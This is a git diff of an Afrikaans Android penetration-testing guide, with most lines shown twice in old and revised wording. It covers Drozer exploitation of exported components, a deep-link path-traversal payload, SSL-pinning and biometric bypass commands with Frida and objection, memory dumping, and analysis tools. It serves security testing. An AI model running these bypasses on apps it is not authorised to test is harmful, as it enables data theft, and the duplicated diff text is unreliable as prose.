As die databasis vertroulike inligting stoor en is **geënkripteer** maar jy kan die **wagwoord** binne die toepassing vind, is dit steeds 'n **kwesbaarheid**.
Enumerate die tabelle met `.tables` en enumerate die kolomme van die tabelle met `.schema <table_name>`
Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema <table_name>`.
### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste)
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om **die rol van 'n Android-app aan te neem** en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
### Eksploiteer geëksporteerde Aktiwiteite
@ -315,11 +315,11 @@ Onthou ook dat die kode van 'n aktiwiteit begin in die **`onCreate`** metode.
**Outorisering omseiling**
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm van 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **outorisering** meganismes **omseil** om toegang daartoe te verkry.
Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n aktiwiteit met **sensitiewe inligting** **geëksporteer** is, kan jy die **outorisering** meganismes **omseil** om toegang daartoe te verkry.
[**Leer hoe om geëksporteerde aktiwiteite met Drozer te eksploiteer.**](drozer-tutorial/index.html#activities)
Jy kan ook 'n geëksporteerde aktiwiteit van adb begin:
Jy kan ook 'n geëksporteerde aktiwiteit vanaf adb begin:
- Pakketnaam is com.example.demo
- Geëksporteerde AktiwiteitNaam is com.example.test.MainActivity
@ -333,30 +333,30 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**Sensitiewe inligting lekkasie**
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n geëksporteerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
**Aktiwiteite kan ook resultate teruggee**. As jy daarin slaag om 'n uitgevoerde en onbeveiligde aktiwiteit te vind wat die **`setResult`** metode aanroep en **sensitiewe inligting teruggee**, is daar 'n sensitiewe inligting lekkasie.
#### Tapjacking
As tapjacking nie voorkom word nie, kan jy die geëksporteerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
As tapjacking nie voorkom word nie, kan jy die uitgevoerde aktiwiteit misbruik om die **gebruiker onverwachte aksies** te laat uitvoer. Vir meer inligting oor [**wat is Tapjacking volg die skakel**](#tapjacking).
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets, aangesien hulle kwesbaar kan wees.
[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\
[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste eksporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
'n Diens is basies iets wat **data kan ontvang**, dit **verwerk** en **gee** (of nie) 'n antwoord terug. As 'n toepassing sekere dienste uitvoer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
[**Leer hoe om Dienste met Drozer te exploiteer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
@ -378,17 +378,17 @@ Let daarop dat jy **die pakkie naam kan oorslaan** en die mobiele toestel sal ou
```
**Kode uitgevoer**
Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink genoem word en soek die funksie **`onNewIntent`**.
Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Sensitiewe inligting**
Elke keer as jy 'n diep link vind, moet jy seker maak dat **dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep link naboots en daardie data steel!**
Elke keer as jy 'n diep skakel vind, moet jy seker maak dat dit **nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die diep skakel naboots en daardie data steel!**
**Parameters in pad**
Jy **moet ook kyk of enige diep link 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Jy **moet ook nagaan of enige diep skakel 'n parameter binne die pad** van die URL gebruik, soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n pad traversie afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` te benader.\
Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die pad as domeinnaam gebruik word), **rekening oorname** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare eindpunt die korrekte metode gebruik) en enige ander kwesbaarheid. Meer [inligting hieroor](http://dphoeniixx.com/2020/12/13-2/).
**Meer voorbeelde**
@ -397,7 +397,7 @@ Let daarop dat as jy die korrekte eindpunte binne die toepassing vind, jy dalk '
### Vervoer Laag Inspeksie en Verifikasie Foute
- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
- **Sertifikate word nie altyd behoorlik inspekteer** deur Android-toepassings nie. Dit is algemeen dat hierdie toepassings waarskuwings oorsien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
- **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
- **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite nie.
@ -411,11 +411,11 @@ SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se serti
#### Verkeer Inspeksie
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n aangepaste CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy-gereedskap se sertifikaat** (bv. Burp) te **installeer**. Sonder om hierdie sertifikaat te installeer, mag geënkripteerde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**klik hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Toepassings wat **API-vlak 24 en hoër** teiken, vereis wysigings aan die Netwerk Sekuriteit Konfigurasie om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van geënkripteerde verkeer. Vir instruksies oor die wysiging van die Netwerk Sekuriteit Konfigurasie, [**verwys na hierdie tutoriaal**](make-apk-accept-ca-certificate.md).
As **Flutter** gebruik word, moet jy die instruksies in [**hierdie bladsy**](flutter.md) volg. Dit is omdat, net om die sertifikaat in die winkel by te voeg, nie sal werk nie, aangesien Flutter sy eie lys van geldige CA's het.
As **Flutter** gebruik word, moet jy die instruksies in [**hierdie bladsy**](flutter.md) volg. Dit is omdat, net om die sertifikaat in die winkel te voeg, nie sal werk nie, aangesien Flutter sy eie lys van geldige CA's het.
#### Omseiling van SSL Pinning
@ -425,16 +425,16 @@ Wanneer SSL Pinning geïmplementeer is, word dit noodsaaklik om dit te omseil om
- Jy kan **Frida** gebruik (hieronder bespreek) om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Jy kan ook probeer om **automaties SSL Pinning te omseil** met **MobSF dinamiese analise** (hieronder verduidelik)
- As jy steeds dink dat daar verkeer is wat jy nie opneem nie, kan jy probeer om **die verkeer na burp te stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- As jy steeds dink dat daar verkeer is wat jy nie vasvang nie, kan jy probeer om die verkeer na burp te **stuur met iptables**. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Soek na Algemene Web Kwesbaarhede
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassing. Gedetailleerde inligting oor die identifisering en versagting van hierdie kwesbaarhede is buite die omvang van hierdie opsomming, maar word elders uitgebreid behandel.
### Frida
[Frida](https://www.frida.re) is 'n dinamiese instrumentasie toolkit vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
**Jy kan lopende toepassings toegang en metode aanroep op tyd om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
- Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/index.html)
@ -445,7 +445,7 @@ As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
### **Dump Geheue - Fridump**
Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
Kontroleer of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app dump met:
```bash
@ -456,7 +456,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep:
Dit sal die geheue in die ./dump gids dump, en daarin kan jy grep met iets soos:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@ -466,7 +466,7 @@ In Android is die Keystore die beste plek om sensitiewe data te stoor, egter, me
Selfs al het 'n app data in die keystore gestoor, moet die data geënkripteer wees.
Om toegang te verkry tot die data binne die keystore kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Om toegang tot die data binne die keystore te verkry, kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
@ -478,7 +478,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **Agtergrond Beelde**
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit die beeld begin laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit na die voorgrond herstel word, dit die beeld begin laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
@ -496,12 +496,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings.
### Essensiële Afleidings
### Belangrike Afleidings
- **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
- Exploits behels die oorplasing van `Intent` objektes as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
- Exploits behels die oorplasing van `Intent`-objekte as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
- Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel.
- `WebView`s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer.
@ -531,7 +531,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Let wel dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) toepassings kan analiseer (_Windows toepassings moet geanaliseer word vanaf 'n MobSF wat op 'n Windows gasheer geïnstalleer is_).\
As jy ook 'n **ZIP** lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
As jy ook 'n **ZIP**-lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Jou API-sleutel>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
@ -540,7 +540,7 @@ MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTot
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
Die **MobSF dinamiese ontleder** kan:
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **HTTPS-verkeer** vasvang
- **Frida** gebruik om **runtime** **inligting** te verkry
@ -551,25 +551,25 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Begin Instrumentasie**". Druk op "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepe na gehookte metodes, oorgange en teruggegee waardes te sien (dit sal verskyn nadat jy "Begin Instrumentasie" gedruk het).\
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Begin Instrumentasie**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Begin Instrumentasie" gedruk het).\
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies net **hulle**, druk "**Laai**" en druk "**Begin Instrumentasie**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
![](<../../images/image (419).png>)
Boonop het jy 'n paar bykomende Frida-funksies:
- **Laaide Klasse Opneem**: Dit sal al die gelaaide klasse druk
- **Laaide Klasse Opnoem**: Dit sal al die gelaaide klasse druk
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Onwaar was.
- **Klas Metodes Opneem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was.
- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **Klas Patroon Soek**: Soek klasse volgens patroon
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien invoere en uitgange van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
Sodra jy die bykomende module wat jy wil gebruik gekies het, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
**Shell**
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** onderaan die dinamiese analise bladsy. Sommige interessante opdragte:
Mobsf bied jou ook 'n shell met 'n paar **adb** opdragte, **MobSF opdragte**, en algemene **shell** **opdragte** aan die onderkant van die dinamiese analise bladsy. Sommige interessante opdragte:
```bash
help
shell ls
@ -580,13 +580,13 @@ receivers
```
**HTTP gereedskap**
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie af kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op die "**HTTP(S) Traffic**" onderkant sien of 'n mooi weergawe in die "**Start HTTPTools**" groen onderkant. Van die tweede opsie kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede.
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en te soek na kwesbaarhede.
> [!TIP]
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal dit nie vanaf die GUI kan regstel nie. Jy kan die proxy-instellings regstel deur:
> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur:
>
> ```
> adb shell settings put global http_proxy :0
@ -599,13 +599,13 @@ Hierdie gereedskap sal 'n paar **Hooks** gebruik om jou te laat weet **wat in di
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer.
Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI uit te voer**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakte APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -625,11 +625,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Linux, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
Laai die nuutste binêre af van die [aflaai bladsy](https://superanalyzer.rocks/download.html)
Laai die nuutste binêre af van die [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -669,26 +669,26 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals.
Dit is in staat om:
Dit kan:
- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels
- APK's te analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaat inligting uit die APK te onttrek met behulp van regexps.
- Die Manifest te analiseer.
- Gevonde domeine te analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK te deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
- Java en Smali kode onttrek met behulp van verskillende hulpmiddels
- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaat inligting uit die APK onttrek met behulp van regexps.
- Die Manifest analiseer.
- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
## Obfuskerende/Deobfuskerende kode
Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
Van [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2.
ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word.
@ -730,7 +730,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en labs van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit.
## References

View File

